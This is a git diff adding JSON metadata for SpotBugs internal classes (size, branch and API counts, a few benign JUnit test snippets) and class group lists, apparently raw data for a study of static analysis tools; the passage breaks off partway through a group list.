Tool/Spotbugs/Rule Information/checkers/visitclass/BetterVisitor.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/visitclass/BetterVisitor.json new file mode 100644 index 0000000..9c25f88 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/visitclass/BetterVisitor.json @@ -0,0 +1,13 @@ +{ + "name": "BetterVisitor", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 387, + "branches": 2, + "apis": 5, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/visitclass/Constants2.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/visitclass/Constants2.json new file mode 100644 index 0000000..63dc518 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/visitclass/Constants2.json @@ -0,0 +1,13 @@ +{ + "name": "Constants2", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 26, + "branches": 3, + "apis": 1, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/visitclass/DismantleBytecode.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/visitclass/DismantleBytecode.json new file mode 100644 index 0000000..09d0b4e --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/visitclass/DismantleBytecode.json @@ -0,0 +1,23 @@ +{ + "name": "DismantleBytecode", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 1162, + "branches": 257, + "apis": 105, + "test": [ + { + "description": "testAreOppositeBranches", + "expected-problems": null, + "expected-linenumbers": [ + 32, + 40 + ], + "code": "@Test\n void testAreOppositeBranches() {\n assertTrue(DismantleBytecode.areOppositeBranches(Const.IF_ACMPEQ, Const.IF_ACMPNE));\n assertTrue(DismantleBytecode.areOppositeBranches(Const.IF_ICMPEQ, Const.IF_ICMPNE));\n assertTrue(DismantleBytecode.areOppositeBranches(Const.IF_ICMPLT, Const.IF_ICMPGE));\n assertTrue(DismantleBytecode.areOppositeBranches(Const.IFNE, Const.IFEQ));\n assertTrue(DismantleBytecode.areOppositeBranches(Const.IFLT, Const.IFGE));\n assertTrue(DismantleBytecode.areOppositeBranches(Const.IFNULL, Const.IFNONNULL));\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/visitclass/LVTHelper.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/visitclass/LVTHelper.json new file mode 100644 index 0000000..5785ad7 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/visitclass/LVTHelper.json @@ -0,0 +1,13 @@ +{ + "name": "LVTHelper", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 58, + "branches": 5, + "apis": 7, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/visitclass/PreorderVisitor.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/visitclass/PreorderVisitor.json new file mode 100644 index 0000000..04f062f --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/visitclass/PreorderVisitor.json @@ -0,0 +1,23 @@ +{ + "name": "PreorderVisitor", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 887, + "branches": 95, + "apis": 101, + "test": [ + { + "description": "testGetNumberArguments", + "expected-problems": null, + "expected-linenumbers": [ + 31, + 42 + ], + "code": "@Test\n void testGetNumberArguments() {\n assertEquals(0, PreorderVisitor.getNumberArguments(\"()V\"));\n assertEquals(0, PreorderVisitor.getNumberArguments(\"()I\"));\n assertEquals(0, PreorderVisitor.getNumberArguments(\"()J\"));\n assertEquals(1, PreorderVisitor.getNumberArguments(\"(I)V\"));\n assertEquals(1, PreorderVisitor.getNumberArguments(\"(I)I\"));\n assertEquals(1, PreorderVisitor.getNumberArguments(\"(J)I\"));\n assertEquals(1, PreorderVisitor.getNumberArguments(\"([J)I\"));\n assertEquals(1, PreorderVisitor.getNumberArguments(\"([Ljava/lang/String;)I\"));\n assertEquals(3, PreorderVisitor.getNumberArguments(\"(J[Ljava/lang/String;J)I\"));\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/visitclass/PrintClass.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/visitclass/PrintClass.json new file mode 100644 index 0000000..1e293e1 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/visitclass/PrintClass.json @@ -0,0 +1,13 @@ +{ + "name": "PrintClass", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 186, + "branches": 32, + "apis": 36, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/visitclass/Util.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/visitclass/Util.json new file mode 100644 index 0000000..82f51db --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/visitclass/Util.json @@ -0,0 +1,13 @@ +{ + "name": "Util", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 170, + "branches": 27, + "apis": 29, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/workflow/Churn.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/workflow/Churn.json new file mode 100644 index 0000000..5d7c990 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/workflow/Churn.json @@ -0,0 +1,13 @@ +{ + "name": "Churn", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 245, + "branches": 27, + "apis": 49, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/workflow/CopyBuggySource.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/workflow/CopyBuggySource.json new file mode 100644 index 0000000..a87e606 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/workflow/CopyBuggySource.json @@ -0,0 +1,13 @@ +{ + "name": "CopyBuggySource", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 259, + "branches": 37, + "apis": 48, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/workflow/CountByPackagePrefix.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/workflow/CountByPackagePrefix.json new file mode 100644 index 0000000..4a6f9b7 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/workflow/CountByPackagePrefix.json @@ -0,0 +1,13 @@ +{ + "name": "CountByPackagePrefix", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 105, + "branches": 12, + "apis": 25, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/workflow/CountClassVersions.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/workflow/CountClassVersions.json new file mode 100644 index 0000000..7869dba --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/workflow/CountClassVersions.json @@ -0,0 +1,13 @@ +{ + "name": "CountClassVersions", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 173, + "branches": 21, + "apis": 35, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/workflow/DefectDensity.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/workflow/DefectDensity.json new file mode 100644 index 0000000..77a7175 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/workflow/DefectDensity.json @@ -0,0 +1,13 @@ +{ + "name": "DefectDensity", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 92, + "branches": 13, + "apis": 27, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/workflow/FB.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/workflow/FB.json new file mode 100644 index 0000000..e18ad3c --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/workflow/FB.json @@ -0,0 +1,13 @@ +{ + "name": "FB", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 63, + "branches": 8, + "apis": 9, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/workflow/FileBugHash.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/workflow/FileBugHash.json new file mode 100644 index 0000000..069fb15 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/workflow/FileBugHash.json @@ -0,0 +1,13 @@ +{ + "name": "FileBugHash", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 156, + "branches": 18, + "apis": 40, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/workflow/Filter.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/workflow/Filter.json new file mode 100644 index 0000000..46db5f7 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/workflow/Filter.json @@ -0,0 +1,13 @@ +{ + "name": "Filter", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 803, + "branches": 120, + "apis": 172, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/workflow/ListBugDatabaseInfo.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/workflow/ListBugDatabaseInfo.json new file mode 100644 index 0000000..6013b6d --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/workflow/ListBugDatabaseInfo.json @@ -0,0 +1,13 @@ +{ + "name": "ListBugDatabaseInfo", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 134, + "branches": 8, + "apis": 38, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/workflow/ListErrors.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/workflow/ListErrors.json new file mode 100644 index 0000000..7a9afbf --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/workflow/ListErrors.json @@ -0,0 +1,13 @@ +{ + "name": "ListErrors", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 51, + "branches": 5, + "apis": 11, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/workflow/MineBugHistory.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/workflow/MineBugHistory.json new file mode 100644 index 0000000..cb47ffc --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/workflow/MineBugHistory.json @@ -0,0 +1,13 @@ +{ + "name": "MineBugHistory", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 485, + "branches": 46, + "apis": 112, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/workflow/ObfuscateBugs.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/workflow/ObfuscateBugs.json new file mode 100644 index 0000000..a7f4ca0 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/workflow/ObfuscateBugs.json @@ -0,0 +1,13 @@ +{ + "name": "ObfuscateBugs", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 113, + "branches": 6, + "apis": 22, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/workflow/PrintAppVersion.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/workflow/PrintAppVersion.json new file mode 100644 index 0000000..4a8d3fc --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/workflow/PrintAppVersion.json @@ -0,0 +1,13 @@ +{ + "name": "PrintAppVersion", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 41, + "branches": 3, + "apis": 7, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/workflow/RebornIssues.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/workflow/RebornIssues.json new file mode 100644 index 0000000..57b6512 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/workflow/RebornIssues.json @@ -0,0 +1,13 @@ +{ + "name": "RebornIssues", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 133, + "branches": 14, + "apis": 26, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/workflow/RecursiveSearchForJavaFiles.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/workflow/RecursiveSearchForJavaFiles.json new file mode 100644 index 0000000..ba4e007 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/workflow/RecursiveSearchForJavaFiles.json @@ -0,0 +1,13 @@ +{ + "name": "RecursiveSearchForJavaFiles", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 60, + "branches": 8, + "apis": 11, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/workflow/RejarClassesForAnalysis.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/workflow/RejarClassesForAnalysis.json new file mode 100644 index 0000000..d7400e4 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/workflow/RejarClassesForAnalysis.json @@ -0,0 +1,13 @@ +{ + "name": "RejarClassesForAnalysis", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 683, + "branches": 94, + "apis": 167, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/workflow/SetBugDatabaseInfo.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/workflow/SetBugDatabaseInfo.json new file mode 100644 index 0000000..6145e79 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/workflow/SetBugDatabaseInfo.json @@ -0,0 +1,13 @@ +{ + "name": "SetBugDatabaseInfo", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 275, + "branches": 46, + "apis": 78, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/workflow/SourceSearcher.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/workflow/SourceSearcher.json new file mode 100644 index 0000000..a852364 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/workflow/SourceSearcher.json @@ -0,0 +1,13 @@ +{ + "name": "SourceSearcher", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 82, + "branches": 9, + "apis": 12, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/workflow/TestingGround.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/workflow/TestingGround.json new file mode 100644 index 0000000..73d8b2a --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/workflow/TestingGround.json @@ -0,0 +1,13 @@ +{ + "name": "TestingGround", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 144, + "branches": 18, + "apis": 35, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/workflow/TreemapVisualization.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/workflow/TreemapVisualization.json new file mode 100644 index 0000000..30bab9c --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/workflow/TreemapVisualization.json @@ -0,0 +1,13 @@ +{ + "name": "TreemapVisualization", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 129, + "branches": 15, + "apis": 38, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/workflow/UnionResults.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/workflow/UnionResults.json new file mode 100644 index 0000000..e686f32 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/workflow/UnionResults.json @@ -0,0 +1,23 @@ +{ + "name": "UnionResults", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 188, + "branches": 17, + "apis": 38, + "test": [ + { + "description": "testMain", + "expected-problems": null, + "expected-linenumbers": [ + 17, + 31 + ], + "code": "@Test\n void testMain() throws IOException {\n //Prepare\n String fileName = createBugFile();\n File outputFile = new File(\"build/tmp/test/unionresults/output.xml\");\n outputFile.getParentFile().mkdirs();\n\n //Act\n UnionResults.main(new String[] { \"-withMessages\", \"-output\", outputFile.getAbsolutePath(), fileName });\n\n //Verify\n List output = readOutPut(outputFile.getAbsolutePath());\n Assertions.assertTrue(output.stream().anyMatch(line -> line.contains(\"(Lorg/test/TestClass;Ljava/util/List;)V\")));\n Assertions.assertTrue(output.stream().anyMatch(line -> line.contains(\"(Lorg/test/TestClass2;Ljava/util/List;)V\")));\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/workflow/Update.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/workflow/Update.json new file mode 100644 index 0000000..b472f48 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/workflow/Update.json @@ -0,0 +1,13 @@ +{ + "name": "Update", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 643, + "branches": 102, + "apis": 175, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/xml/Dom4JXMLOutput.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/xml/Dom4JXMLOutput.json new file mode 100644 index 0000000..7849572 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/xml/Dom4JXMLOutput.json @@ -0,0 +1,13 @@ +{ + "name": "Dom4JXMLOutput", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 168, + "branches": 8, + "apis": 24, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/xml/MetaCharacterMap.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/xml/MetaCharacterMap.json new file mode 100644 index 0000000..36f78ae --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/xml/MetaCharacterMap.json @@ -0,0 +1,13 @@ +{ + "name": "MetaCharacterMap", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 74, + "branches": 4, + "apis": 7, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/xml/OutputStreamXMLOutput.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/xml/OutputStreamXMLOutput.json new file mode 100644 index 0000000..d0fe581 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/xml/OutputStreamXMLOutput.json @@ -0,0 +1,13 @@ +{ + "name": "OutputStreamXMLOutput", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 223, + "branches": 9, + "apis": 30, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/xml/QuoteMetaCharacters.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/xml/QuoteMetaCharacters.json new file mode 100644 index 0000000..2a7cf28 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/xml/QuoteMetaCharacters.json @@ -0,0 +1,13 @@ +{ + "name": "QuoteMetaCharacters", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 93, + "branches": 9, + "apis": 9, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/xml/XMLAttributeList.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/xml/XMLAttributeList.json new file mode 100644 index 0000000..d140dec --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/xml/XMLAttributeList.json @@ -0,0 +1,13 @@ +{ + "name": "XMLAttributeList", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 137, + "branches": 8, + "apis": 12, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/xml/XMLOutput.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/xml/XMLOutput.json new file mode 100644 index 0000000..66dbd55 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/xml/XMLOutput.json @@ -0,0 +1,13 @@ +{ + "name": "XMLOutput", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 137, + "branches": 5, + "apis": 1, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/xml/XMLOutputUtil.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/xml/XMLOutputUtil.json new file mode 100644 index 0000000..a7eb2c4 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/xml/XMLOutputUtil.json @@ -0,0 +1,13 @@ +{ + "name": "XMLOutputUtil", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 114, + "branches": 8, + "apis": 12, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/xml/XMLUtil.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/xml/XMLUtil.json new file mode 100644 index 0000000..155ff28 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/xml/XMLUtil.json @@ -0,0 +1,13 @@ +{ + "name": "XMLUtil", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 65, + "branches": 6, + "apis": 6, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/xml/XMLWriteable.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/xml/XMLWriteable.json new file mode 100644 index 0000000..b6d8634 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/xml/XMLWriteable.json @@ -0,0 +1,13 @@ +{ + "name": "XMLWriteable", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 38, + "branches": 4, + "apis": 1, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/xml/XPathFind.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/xml/XPathFind.json new file mode 100644 index 0000000..fcfcd7a --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/xml/XPathFind.json @@ -0,0 +1,13 @@ +{ + "name": "XPathFind", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 94, + "branches": 7, + "apis": 16, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/groups/asm.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/groups/asm.json new file mode 100644 index 0000000..093d9d1 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/groups/asm.json @@ -0,0 +1,10 @@ +{ + "name": "asm", + "description": null, + "rules": [ + "AbstractFBMethodVisitor", + "ClassNodeDetector", + "FBClassReader", + "FBMethodVisitor" + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/groups/ba.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/groups/ba.json new file mode 100644 index 0000000..181fdf3 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/groups/ba.json @@ -0,0 +1,313 @@ +{ + "name": "ba", + "description": null, + "rules": [ + "AbstractBlockOrder", + "AbstractClassMember", + "AbstractDataflow", + "AbstractDataflowAnalysis", + "AbstractDominatorsAnalysis", + "AbstractField", + "AbstractFrameModelingVisitor", + "AbstractMethod", + "AbstractMethodAnnotationAccumulator", + "AccessMethodDatabase", + "AccessibleEntity", + "Analysis", + "AnalysisContext", + "AnalysisException", + "AnalysisFeatures", + "AnnotationDatabase", + "AnnotationEnumeration", + "AnnotationRetentionDatabase", + "AssertionMethods", + "AssignedFieldMap", + "AvailableLoad", + "BackwardDataflowAnalysis", + "BackwardTypeQualifierDataflow", + "BackwardTypeQualifierDataflowAnalysis", + "BackwardTypeQualifierDataflowFactory", + "BasicAbstractDataflowAnalysis", + "BasicBlock", + "BetterCFGBuilder2", + "Binding", + "BindingSet", + "BlockOrder", + "BlockType", + "BlockTypeAnalysis", + "BlockTypeDataflow", + "BottomType", + "ByteCodePattern", + "ByteCodePatternMatch", + "BytecodeScanner", + "CFG", + "CFGBuilder", + "CFGBuilderException", + "CFGBuilderFactory", + "CFGPrinter", + "Call", + "CallList", + "CallListAnalysis", + "CallListDataflow", + "CheckReturnAnnotationDatabase", + "CheckReturnValueAnnotation", + "ClassContext", + "ClassHash", + "ClassMember", + "ClassNotFoundExceptionParser", + "ClassSummary", + "ClassVertex", + "CompactLocationNumbering", + "ComparableField", + "ComparableMethod", + "CompoundMethodChooser", + "Constant", + "ConstantAnalysis", + "ConstantDataflow", + "ConstantFrame", + "ConstantFrameModelingVisitor", + "DFSCFGPrinter", + "DFSEdgeTypes", + "Dataflow", + "DataflowAnalysis", + "DataflowAnalysisException", + "DataflowCFGPrinter", + "DataflowValueChooser", + "Debug", + "DebugRepositoryLookupFailureCallback", + "DefaultNullnessAnnotations", + "DepthFirstSearch", + "DerefFinder", + "DirectlyRelevantTypeQualifiersDatabase", + "DominatorsAnalysis", + "DoubleExtraType", + "Edge", + "EdgeChooser", + "EdgeTypes", + "EqualsKindSummary", + "ExceptionHandlerMap", + "ExceptionObjectType", + "ExceptionSet", + "ExceptionSetFactory", + "ExtendedTypes", + "FieldAccess", + "FieldPropertyDatabase", + "FieldSet", + "FieldSetAnalysis", + "FieldStoreType", + "FieldStoreTypeDatabase", + "FieldSummary", + "FieldVariable", + "FileSourceFileDataSource", + "FindBugsDefaultAnnotations", + "FlowValue", + "ForwardDataflowAnalysis", + "ForwardTypeQualifierDataflow", + "ForwardTypeQualifierDataflowAnalysis", + "ForwardTypeQualifierDataflowFactory", + "Frame", + "FrameDataflowAnalysis", + "GenericObjectType", + "GenericSignatureParser", + "GenericUtilities", + "Hierarchy", + "Hierarchy2", + "INullnessAnnotationDatabase", + "IfNull", + "IncompatibleTypes", + "InheritanceEdge", + "InheritanceGraph", + "InheritanceGraphVisitor", + "InnerClassAccess", + "InnerClassAccessMap", + "InstructionActionCache", + "InstructionHandleMap", + "InterproceduralCallGraph", + "InterproceduralCallGraphEdge", + "InterproceduralCallGraphVertex", + "InvalidBytecodeException", + "Invoke", + "IsNullConditionDecision", + "IsNullValue", + "IsNullValueAnalysis", + "IsNullValueAnalysisFeatures", + "IsNullValueDataflow", + "IsNullValueFrame", + "IsNullValueFrameModelingVisitor", + "JCIPAnnotationDatabase", + "JSR305NullnessAnnotations", + "JavaClassAndMethod", + "JavaClassAndMethodChooser", + "LineNumberMap", + "LiveLocalStoreAnalysis", + "LiveLocalStoreDataflow", + "Load", + "LoadAnalysis", + "LoadDataflow", + "LoadedFieldSet", + "LocalVariable", + "Location", + "LocationWhereValueBecomesNull", + 